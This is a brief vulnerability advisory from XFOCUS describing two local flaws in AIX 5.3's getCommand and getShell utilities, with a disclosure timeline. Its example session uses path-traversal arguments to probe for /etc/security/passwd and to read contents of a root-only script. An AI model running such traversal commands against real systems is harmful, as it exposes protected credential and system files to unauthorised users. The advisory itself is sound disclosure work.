[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

Affected version : aix5.3 ml03,Other versions not test,
should also be affected.
Vendor: http://www.ibm.com/
Where: Local

XFOCUS (http://www.xfocus.org) had already discovered
some vulnerabilities in getCommand&getShell.

After apply newest patch,getCommand&getShell still have two
vulnerabilities,That is
1: exploit that,a attacker can determine file be exist or not,which
should can't readed
2: exploit that,a attacker can read in any shell document(include no
permission file) has the cd operation the following partial content.

example test:
-bash-3.00$./getCommand.new …/…/…/…/…/…/etc/security/passwd
-bash-3.00$./getCommand.new …/…/…/…/…/…/etc/security/passwd.aa
fopen: No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x— 4 root security 512 2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new …/…/…/…/…/tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$

-bash-3.00$

TIME LINE:
December,26 2005 - Initial vendor notification
…Waiting…Waiting…
January 1, 2006 - Public disclosure(vendor not reply)

–EOF

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Kind Regards,

XFOCUS Security Team
http://www.xfocus.org